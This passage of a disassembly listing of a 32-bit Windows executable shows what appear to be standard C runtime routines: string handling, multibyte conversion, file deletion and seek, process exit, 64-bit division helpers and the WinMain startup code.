; FUNCTION CHUNK AT 00417E70 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417E86: ; CODE XREF: sub_417440+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_417EAD loc_417E98: ; CODE XREF: sub_417E80+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_417E70 test cl, cl jz short loc_417EF6 test edx, 3 jnz short loc_417E98 loc_417EAD: ; CODE XREF: sub_417E80+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_417EB8: ; CODE XREF: sub_417E80+63j ; sub_417E80+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_417EFA and eax, 81010100h jz short loc_417EB8 and eax, 1010100h jnz short loc_417EF4 and esi, 80000000h jnz short loc_417EB8 loc_417EF4: ; CODE XREF: sub_417E80+6Aj ; sub_417E80+83j ... pop esi pop edi loc_417EF6: ; CODE XREF: sub_417E80+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_417EFA: ; CODE XREF: sub_417E80+5Cj mov eax, [edx-4] cmp al, bl jz short loc_417F37 test al, al jz short loc_417EF4 cmp ah, bl jz short loc_417F30 test ah, ah jz short loc_417EF4 shr eax, 10h cmp al, bl jz short loc_417F29 test al, al jz short loc_417EF4 cmp ah, bl jz short loc_417F22 test ah, ah jz short loc_417EF4 jmp short loc_417EB8 ; --------------------------------------------------------------------------- loc_417F22: ; CODE XREF: sub_417E80+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417F29: ; CODE XREF: sub_417E80+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417F30: ; CODE XREF: sub_417E80+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417F37: ; CODE XREF: sub_417E80+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417E80 endp ; =============== S U B R O U T I N E ======================================= sub_417F3E proc near ; CODE XREF: sub_40822F+55p ; sub_411329+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_417F42: ; CODE XREF: sub_417F3E+Cj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_417F42 sub eax, [esp+arg_0] sar eax, 1 dec eax retn sub_417F3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F54 proc near ; CODE XREF: sub_41804A+22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41801B mov ebx, [ebp+arg_C] cmp ebx, esi jz loc_418045 mov edi, [ebp+arg_0] cmp [edi+14h], esi jnz short loc_417FA6 cmp ebx, esi jbe loc_418045 loc_417F85: ; CODE XREF: sub_417F54+4Bj mov ecx, [ebp+arg_8] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_418045 inc eax inc edx inc edx cmp eax, ebx jb short loc_417F85 jmp loc_418045 ; --------------------------------------------------------------------------- loc_417FA6: ; CODE XREF: sub_417F54+27j mov esi, dword_4220D4 push ebx mov ebx, [ebp+arg_8] push edx push 0FFFFFFFFh push ebx push 9 push dword ptr [edi+4] call esi ; MultiByteToWideChar test eax, eax jnz loc_418044 call dword_422008 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417FDE loc_417FCE: ; CODE XREF: sub_417F54+C5j ; sub_417F54+EEj call sub_41B9A5 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_418045 ; --------------------------------------------------------------------------- loc_417FDE: ; CODE XREF: sub_417F54+78j mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov eax, ebx loc_417FE6: ; CODE XREF: sub_417F54+AEj mov cl, [eax] dec [ebp+var_4] test cl, cl jz short loc_418004 mov edx, [edi+48h] movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417FFD inc eax loc_417FFD: ; CODE XREF: sub_417F54+A6j inc eax cmp [ebp+var_4], 0 jnz short loc_417FE6 loc_418004: ; CODE XREF: sub_417F54+99j push [ebp+arg_C] sub eax, ebx push [ebp+arg_4] push eax push ebx push 1 push dword ptr [edi+4] call esi ; MultiByteToWideChar test eax, eax jnz short loc_418045 jmp short loc_417FCE ; --------------------------------------------------------------------------- loc_41801B: ; CODE XREF: sub_417F54+10j mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_41802E push [ebp+arg_8] call sub_419D70 pop ecx jmp short loc_418045 ; --------------------------------------------------------------------------- loc_41802E: ; CODE XREF: sub_417F54+CDj push esi push esi push 0FFFFFFFFh push [ebp+arg_8] push 9 push dword ptr [eax+4] call dword_4220D4 ; MultiByteToWideChar cmp eax, esi jz short loc_417FCE loc_418044: ; CODE XREF: sub_417F54+69j dec eax loc_418045: ; CODE XREF: sub_417F54+1Bj ; sub_417F54+2Bj ... pop edi pop esi pop ebx leave retn sub_417F54 endp ; =============== S U B R O U T I N E ======================================= sub_41804A proc near ; CODE XREF: sub_40822F+19p ; sub_40822F+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41805F call sub_419FFE loc_41805F: ; CODE XREF: sub_41804A+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_417F54 add esp, 10h retn sub_41804A endp ; =============== S U B R O U T I N E ======================================= sub_418075 proc near ; CODE XREF: sub_409848+57CAp arg_0 = dword ptr 4 push [esp+arg_0] call dword_4220E4 ; DeleteFileA test eax, eax jnz short loc_41808B call dword_422008 ; RtlGetLastWin32Error jmp short loc_41808D ; --------------------------------------------------------------------------- loc_41808B: ; CODE XREF: sub_418075+Cj xor eax, eax loc_41808D: ; CODE XREF: sub_418075+14j test eax, eax jz short loc_41809C push eax call sub_41B9B7 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41809C: ; CODE XREF: sub_418075+1Aj xor eax, eax retn sub_418075 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41809F proc near ; CODE XREF: sub_409848+494Dp ; sub_40FB4C+F6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_419D70 cmp eax, 1 pop ecx jb short loc_4180DB cmp byte ptr [ebx+1], 3Ah jnz short loc_4180DB mov esi, [ebp+arg_4] test esi, esi jz short loc_4180D7 push 2 push ebx push esi call sub_41D4D9 add esp, 0Ch and byte ptr [esi+2], 0 loc_4180D7: ; CODE XREF: sub_41809F+26j inc ebx inc ebx jmp short loc_4180E5 ; --------------------------------------------------------------------------- loc_4180DB: ; CODE XREF: sub_41809F+19j ; sub_41809F+1Fj mov eax, [ebp+arg_4] test eax, eax jz short loc_4180E5 and byte ptr [eax], 0 loc_4180E5: ; CODE XREF: sub_41809F+3Aj ; sub_41809F+41j and [ebp+arg_0], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov [ebp+var_8], eax mov esi, 0FFh jz short loc_41815D loc_4180F8: ; CODE XREF: sub_41809F+88j mov cl, [eax] movzx edx, cl test byte_481721[edx], 4 jz short loc_418109 inc eax jmp short loc_418123 ; --------------------------------------------------------------------------- loc_418109: ; CODE XREF: sub_41809F+65j cmp cl, 2Fh jz short loc_41811D cmp cl, 5Ch jz short loc_41811D cmp cl, 2Eh jnz short loc_418123 mov [ebp+var_4], eax jmp short loc_418123 ; --------------------------------------------------------------------------- loc_41811D: ; CODE XREF: sub_41809F+6Dj ; sub_41809F+72j lea ecx, [eax+1] mov [ebp+arg_0], ecx loc_418123: ; CODE XREF: sub_41809F+68j ; sub_41809F+77j ... inc eax cmp byte ptr [eax], 0 jnz short loc_4180F8 mov edi, [ebp+arg_0] test edi, edi mov [ebp+var_8], eax jz short loc_41815D cmp [ebp+arg_8], 0 jz short loc_418158 sub edi, ebx cmp edi, esi jb short loc_418141 mov edi, esi loc_418141: ; CODE XREF: sub_41809F+9Ej push edi push ebx push [ebp+arg_8] call sub_41D4D9 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_418158: ; CODE XREF: sub_41809F+98j mov ebx, [ebp+arg_0] jmp short loc_418167 ; --------------------------------------------------------------------------- loc_41815D: ; CODE XREF: sub_41809F+57j ; sub_41809F+92j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_418167 and byte ptr [ecx], 0 loc_418167: ; CODE XREF: sub_41809F+BCj ; sub_41809F+C3j mov edi, [ebp+var_4] test edi, edi jz short loc_4181BA cmp edi, ebx jb short loc_4181BA cmp [ebp+arg_C], 0 jz short loc_418197 sub edi, ebx cmp edi, esi jb short loc_418180 mov edi, esi loc_418180: ; CODE XREF: sub_41809F+DDj push edi push ebx push [ebp+arg_C] call sub_41D4D9 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_418197: ; CODE XREF: sub_41809F+D7j mov edi, [ebp+arg_10] test edi, edi jz short loc_4181E2 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4181A7 mov esi, eax loc_4181A7: ; CODE XREF: sub_41809F+104j push esi push [ebp+var_4] push edi call sub_41D4D9 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4181E2 ; --------------------------------------------------------------------------- loc_4181BA: ; CODE XREF: sub_41809F+CDj ; sub_41809F+D1j mov edi, [ebp+arg_C] test edi, edi jz short loc_4181D8 sub eax, ebx cmp eax, esi jnb short loc_4181C9 mov esi, eax loc_4181C9: ; CODE XREF: sub_41809F+126j push esi push ebx push edi call sub_41D4D9 add esp, 0Ch and byte ptr [esi+edi], 0 loc_4181D8: ; CODE XREF: sub_41809F+120j mov eax, [ebp+arg_10] test eax, eax jz short loc_4181E2 and byte ptr [eax], 0 loc_4181E2: ; CODE XREF: sub_41809F+FDj ; sub_41809F+119j ... pop edi pop esi pop ebx leave retn sub_41809F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181E7 proc near ; CODE XREF: sub_409848+3CF9p ; sub_409848+3D26p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 18h push offset stru_42BE50 call __SEH_prolog mov ebx, [ebp+arg_0] mov edi, ebx mov [ebp+var_1C], ebx cmp [ebp+arg_4], 0 jg short loc_418205 xor eax, eax jmp short loc_41825C ; --------------------------------------------------------------------------- loc_418205: ; CODE XREF: sub_4181E7+18j mov esi, [ebp+arg_8] mov [ebp+var_20], esi push esi call sub_41B102 pop ecx and [ebp+ms_exc.disabled], 0 loc_418216: ; CODE XREF: sub_4181E7+64j dec [ebp+arg_4] jz short loc_41824D dec dword ptr [esi+4] js short loc_41822A mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_418231 ; --------------------------------------------------------------------------- loc_41822A: ; CODE XREF: sub_4181E7+37j push esi call sub_41B1A6 pop ecx loc_418231: ; CODE XREF: sub_4181E7+41j mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jnz short loc_418243 cmp edi, ebx jnz short loc_41824D and [ebp+var_1C], 0 jmp short loc_418250 ; --------------------------------------------------------------------------- loc_418243: ; CODE XREF: sub_4181E7+50j mov [edi], al inc edi mov [ebp+var_28], edi cmp al, 0Ah jnz short loc_418216 loc_41824D: ; CODE XREF: sub_4181E7+32j ; sub_4181E7+54j and byte ptr [edi], 0 loc_418250: ; CODE XREF: sub_4181E7+5Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_418265 mov eax, [ebp+var_1C] loc_41825C: ; CODE XREF: sub_4181E7+1Cj call __SEH_epilog retn sub_4181E7 endp ; =============== S U B R O U T I N E ======================================= sub_418262 proc near ; DATA XREF: .text:stru_42BE50o mov esi, [ebp-20h] sub_418262 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418265 proc near ; CODE XREF: sub_4181E7+6Dp push esi call sub_41B154 pop ecx retn sub_418265 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418270 proc near ; CODE XREF: sub_409848+8D7p ; sub_41326A+285p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4182A2 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4182A0 jz short loc_4182A2 sub ecx, 2 loc_4182A0: ; CODE XREF: sub_418270+29j not ecx loc_4182A2: ; CODE XREF: sub_418270+9j ; sub_418270+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418270 endp ; =============== S U B R O U T I N E ======================================= sub_4182A9 proc near ; CODE XREF: sub_418350+CBp ; sub_41867F+1Cp arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call dword_4220A4 ; GetModuleHandleA test eax, eax jz short loc_4182CE push offset aCorexitprocess ; "CorExitProcess" push eax call dword_422084 ; GetProcAddress test eax, eax jz short loc_4182CE push [esp+arg_0] call eax ; dword_42E030 loc_4182CE: ; CODE XREF: sub_4182A9+Dj ; sub_4182A9+1Dj push [esp+arg_0] call dword_422040 ; ExitProcess int 3 ; Trap to Debugger loc_4182D9: ; CODE XREF: sub_41D614+Cp push 8 call sub_41A1D6 pop ecx retn sub_4182A9 endp ; =============== S U B R O U T I N E ======================================= sub_4182E2 proc near ; CODE XREF: sub_41D646p push 8 call sub_41A142 pop ecx retn sub_4182E2 endp ; =============== S U B R O U T I N E ======================================= sub_4182EB proc near ; CODE XREF: .text:loc_4187DFp mov eax, off_432358 test eax, eax jz short loc_4182F6 call eax ; sub_41728D loc_4182F6: ; CODE XREF: sub_4182EB+7j push esi push edi mov ecx, offset dword_42E00C mov edi, offset dword_42E020 xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_418321 loc_41830A: ; CODE XREF: sub_4182EB+30j test eax, eax jnz short loc_41834D mov ecx, [esi] test ecx, ecx jz short loc_418316 call ecx loc_418316: ; CODE XREF: sub_4182EB+27j add esi, 4 cmp esi, edi jb short loc_41830A test eax, eax jnz short loc_41834D loc_418321: ; CODE XREF: sub_4182EB+1Dj push offset sub_41D6A2 call sub_41D64C mov esi, offset dword_42E000 mov eax, esi mov edi, offset dword_42E008 cmp eax, edi pop ecx jnb short loc_41834B loc_41833C: ; CODE XREF: sub_4182EB+5Ej mov eax, [esi] test eax, eax jz short loc_418344 call eax loc_418344: ; CODE XREF: sub_4182EB+55j add esi, 4 cmp esi, edi jb short loc_41833C loc_41834B: ; CODE XREF: sub_4182EB+4Fj xor eax, eax loc_41834D: ; CODE XREF: sub_4182EB+21j ; sub_4182EB+34j pop edi pop esi retn sub_4182EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418350 proc near ; CODE XREF: sub_418423+8p ; sub_418434+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi push 8 call sub_41A1D6 xor esi, esi inc esi cmp dword_4811C4, esi pop ecx jnz short loc_418378 push [ebp+arg_0] call dword_4220E0 ; GetCurrentProcess push eax call dword_4220E8 ; TerminateProcess loc_418378: ; CODE XREF: sub_418350+16j cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov dword_4811C0, esi mov byte_4811BC, al jnz short loc_4183DE mov ecx, dword_482994 test ecx, ecx jz short loc_4183BF mov eax, dword_482990 sub eax, 4 cmp eax, ecx jmp short loc_4183B8 ; --------------------------------------------------------------------------- loc_4183A2: ; CODE XREF: sub_418350+6Dj mov eax, [eax] test eax, eax jz short loc_4183AA call eax loc_4183AA: ; CODE XREF: sub_418350+56j mov eax, dword_482990 sub eax, 4 cmp eax, dword_482994 loc_4183B8: ; CODE XREF: sub_418350+50j mov dword_482990, eax jnb short loc_4183A2 loc_4183BF: ; CODE XREF: sub_418350+44j mov eax, offset dword_42E024 mov esi, offset dword_42E02C cmp eax, esi mov edi, eax jnb short loc_4183DE loc_4183CF: ; CODE XREF: sub_418350+8Cj mov eax, [edi] test eax, eax jz short loc_4183D7 call eax loc_4183D7: ; CODE XREF: sub_418350+83j add edi, 4 cmp edi, esi jb short loc_4183CF loc_4183DE: ; CODE XREF: sub_418350+3Aj ; sub_418350+7Dj mov eax, offset dword_42E030 mov esi, offset dword_42E038 cmp eax, esi mov edi, eax jnb short loc_4183FD loc_4183EE: ; CODE XREF: sub_418350+ABj mov eax, [edi] test eax, eax jz short loc_4183F6 call eax loc_4183F6: ; CODE XREF: sub_418350+A2j add edi, 4 cmp edi, esi jb short loc_4183EE loc_4183FD: ; CODE XREF: sub_418350+9Cj cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_41840E push 8 call sub_41A142 jmp short loc_418420 ; --------------------------------------------------------------------------- loc_41840E: ; CODE XREF: sub_418350+B3j push [ebp+arg_0] mov dword_4811C4, 1 call sub_4182A9 loc_418420: ; CODE XREF: sub_418350+BCj pop ecx pop ebp retn sub_418350 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418423 proc near ; CODE XREF: .text:0041882Fp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_418350 add esp, 0Ch retn sub_418423 endp ; =============== S U B R O U T I N E ======================================= sub_418434 proc near ; CODE XREF: sub_41865A+1Cp ; .text:0041885Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_418350 add esp, 0Ch retn sub_418434 endp ; =============== S U B R O U T I N E ======================================= sub_418445 proc near ; CODE XREF: .text:loc_418834p push 1 push 0 push 0 call sub_418350 add esp, 0Ch retn sub_418445 endp ; =============== S U B R O U T I N E ======================================= sub_418454 proc near ; CODE XREF: .text:loc_418861p push 1 push 1 push 0 call sub_418350 add esp, 0Ch retn sub_418454 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418470 proc near ; CODE XREF: sub_412AB4+3Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_418491 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4184E1 ; --------------------------------------------------------------------------- loc_418491: ; CODE XREF: sub_418470+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41849F: ; CODE XREF: sub_418470+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41849F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4184CA cmp edx, [esp+4+arg_4] ja short loc_4184CA jb short loc_4184D2 cmp eax, [esp+4+arg_0] jbe short loc_4184D2 loc_4184CA: ; CODE XREF: sub_418470+4Aj ; sub_418470+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4184D2: ; CODE XREF: sub_418470+52j ; sub_418470+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4184E1: ; CODE XREF: sub_418470+1Fj pop ebx retn 10h sub_418470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4184F0 proc near ; CODE XREF: sub_412AB4+24p ; sub_4177B0+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_418512 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_418553 ; --------------------------------------------------------------------------- loc_418512: ; CODE XREF: sub_4184F0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_418520: ; CODE XREF: sub_4184F0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_418520 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41854E cmp edx, [esp+8+arg_4] ja short loc_41854E jb short loc_41854F cmp eax, [esp+8+arg_0] jbe short loc_41854F loc_41854E: ; CODE XREF: sub_4184F0+4Ej ; sub_4184F0+54j dec esi loc_41854F: ; CODE XREF: sub_4184F0+56j ; sub_4184F0+5Cj xor edx, edx mov eax, esi loc_418553: ; CODE XREF: sub_4184F0+20j pop esi pop ebx retn 10h sub_4184F0 endp ; =============== S U B R O U T I N E ======================================= sub_418558 proc near ; CODE XREF: sub_4185E7+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h push edi jz short loc_4185D6 mov edi, [esp+8+arg_8] test edi, edi jz short loc_418577 cmp edi, 1 jz short loc_418577 cmp edi, 2 jnz short loc_4185D6 loc_418577: ; CODE XREF: sub_418558+13j ; sub_418558+18j and eax, 0FFFFFFEFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41858F push esi call sub_41D805 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41858F: ; CODE XREF: sub_418558+28j push esi call sub_41AEDC mov eax, [esi+0Ch] test al, al pop ecx jns short loc_4185A5 and eax, 0FFFFFFFCh mov [esi+0Ch], eax jmp short loc_4185B9 ; --------------------------------------------------------------------------- loc_4185A5: ; CODE XREF: sub_418558+43j test al, 1 jz short loc_4185B9 test al, 8 jz short loc_4185B9 test ah, 4 jnz short loc_4185B9 mov dword ptr [esi+18h], 200h loc_4185B9: ; CODE XREF: sub_418558+4Bj ; sub_418558+4Fj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41D75A xor ecx, ecx add esp, 0Ch cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_4185E4 ; --------------------------------------------------------------------------- loc_4185D6: ; CODE XREF: sub_418558+Bj ; sub_418558+1Dj call sub_41B9A5 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_4185E4: ; CODE XREF: sub_418558+7Cj pop edi pop esi retn sub_418558 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185E7 proc near ; CODE XREF: sub_41326A+2C6p ; sub_41326A+402p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 0Ch push offset stru_42BE78 call __SEH_prolog push [ebp+arg_0] call sub_41B102 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_418558 add esp, 0Ch mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_418626 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_4185E7 endp ; =============== S U B R O U T I N E ======================================= sub_418626 proc near ; CODE XREF: sub_4185E7+31p ; DATA XREF: .text:stru_42BE78o push dword ptr [ebp+8] call sub_41B154 pop ecx retn sub_418626 endp ; =============== S U B R O U T I N E ======================================= sub_418630 proc near ; CODE XREF: sub_414199+75p ; sub_414199+85p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp word ptr [eax], 0 mov edx, eax jz short loc_418644 loc_41863C: ; CODE XREF: sub_418630+12j inc edx inc edx cmp word ptr [edx], 0 jnz short loc_41863C loc_418644: ; CODE XREF: sub_418630+Aj push esi mov esi, [esp+4+arg_4] loc_418649: ; CODE XREF: sub_418630+26j mov cx, [esi] mov [edx], cx inc edx inc edx inc esi inc esi test cx, cx jnz short loc_418649 pop esi retn sub_418630 endp ; =============== S U B R O U T I N E ======================================= sub_41865A proc near ; CODE XREF: .text:004187A2p ; .text:004187C8p ... arg_0 = dword ptr 4 cmp dword_4811D0, 1 jnz short loc_418668 call sub_41DADE loc_418668: ; CODE XREF: sub_41865A+7j push [esp+arg_0] call sub_41D967 push 0FFh call off_432380 pop ecx pop ecx retn sub_41865A endp ; =============== S U B R O U T I N E ======================================= sub_41867F proc near ; CODE XREF: .text:00418778p ; .text:00418789p arg_0 = dword ptr 4 cmp dword_4811D0, 1 jnz short loc_41868D call sub_41DADE loc_41868D: ; CODE XREF: sub_41867F+7j push [esp+arg_0] call sub_41D967 push 0FFh call sub_4182A9 pop ecx pop ecx retn sub_41867F endp ; --------------------------------------------------------------------------- push 60h push offset stru_42BE88 call __SEH_prolog mov edi, 94h mov eax, edi call sub_416B90 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call dword_422120 ; GetVersionExA mov ecx, [esi+10h] mov dword_481184, ecx mov eax, [esi+4] mov dword_481190, eax mov edx, [esi+8] mov dword_481194, edx mov esi, [esi+0Ch] and esi, 7FFFh mov dword_481188, esi cmp ecx, 2 jz short loc_418703 or esi, 8000h mov dword_481188, esi loc_418703: ; CODE XREF: .text:004186F5j shl eax, 8 add eax, edx mov dword_48118C, eax xor esi, esi push esi mov edi, dword_4220A4 call edi ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41873E mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_41873E movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_418756 cmp eax, 20Bh jz short loc_418743 loc_41873E: ; CODE XREF: .text:0041871Dj ; .text:0041872Aj ... mov [ebp-1Ch], esi jmp short loc_41876A ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: .text:0041873Cj cmp dword ptr [ecx+84h], 0Eh jbe short loc_41873E xor eax, eax cmp [ecx+0F8h], esi jmp short loc_418764 ; --------------------------------------------------------------------------- loc_418756: ; CODE XREF: .text:00418735j cmp dword ptr [ecx+74h], 0Eh jbe short loc_41873E xor eax, eax cmp [ecx+0E8h], esi loc_418764: ; CODE XREF: .text:00418754j setnz al mov [ebp-1Ch], eax loc_41876A: ; CODE XREF: .text:00418741j push 1 call sub_41A053 pop ecx test eax, eax jnz short loc_41877E push 1Ch call sub_41867F pop ecx loc_41877E: ; CODE XREF: .text:00418774j call sub_419240 test eax, eax jnz short loc_41878F push 10h call sub_41867F pop ecx loc_41878F: ; CODE XREF: .text:00418785j call sub_41D65E mov [ebp-4], esi call sub_41E0DB test eax, eax jge short loc_4187A8 push 1Bh call sub_41865A pop ecx loc_4187A8: ; CODE XREF: .text:0041879Ej call dword_42216C ; GetCommandLineA mov dword_482988, eax call sub_41DFB9 mov dword_4811C8, eax call sub_41DF17 test eax, eax jge short loc_4187CE push 8 call sub_41865A pop ecx loc_4187CE: ; CODE XREF: .text:004187C4j call sub_41DCE4 test eax, eax jge short loc_4187DF push 9 call sub_41865A pop ecx loc_4187DF: ; CODE XREF: .text:004187D5j call sub_4182EB mov [ebp-20h], eax cmp eax, esi jz short loc_4187F2 push eax call sub_41865A pop ecx loc_4187F2: ; CODE XREF: .text:004187E9j mov [ebp-38h], esi lea eax, [ebp-64h] push eax call dword_422168 ; GetStartupInfoA call sub_41DC7B mov [ebp-68h], eax test byte ptr [ebp-38h], 1 jz short loc_418813 movzx eax, word ptr [ebp-34h] jmp short loc_418816 ; --------------------------------------------------------------------------- loc_418813: ; CODE XREF: .text:0041880Bj push 0Ah pop eax loc_418816: ; CODE XREF: .text:00418811j push eax push dword ptr [ebp-68h] push esi push esi call edi ; GetModuleHandleA push eax call sub_40FB4C mov edi, eax mov [ebp-6Ch], edi cmp [ebp-1Ch], esi jnz short loc_418834 push edi call sub_418423 loc_418834: ; CODE XREF: .text:0041882Cj call sub_418445 jmp short loc_418866 ; --------------------------------------------------------------------------- loc_41883B: ; DATA XREF: .text:stru_42BE88o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-70h], ecx push eax push ecx call sub_41DB17 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41884F: ; DATA XREF: .text:stru_42BE88o mov esp, [ebp-18h] mov edi, [ebp-70h] cmp dword ptr [ebp-1Ch], 0 jnz short loc_418861 push edi call sub_418434 loc_418861: ; CODE XREF: .text:00418859j call sub_418454 loc_418866: ; CODE XREF: .text:00418839j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call __SEH_epilog retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418875 proc near ; CODE XREF: sub_416975+4Bp ; sub_416BCD+4Ap ... 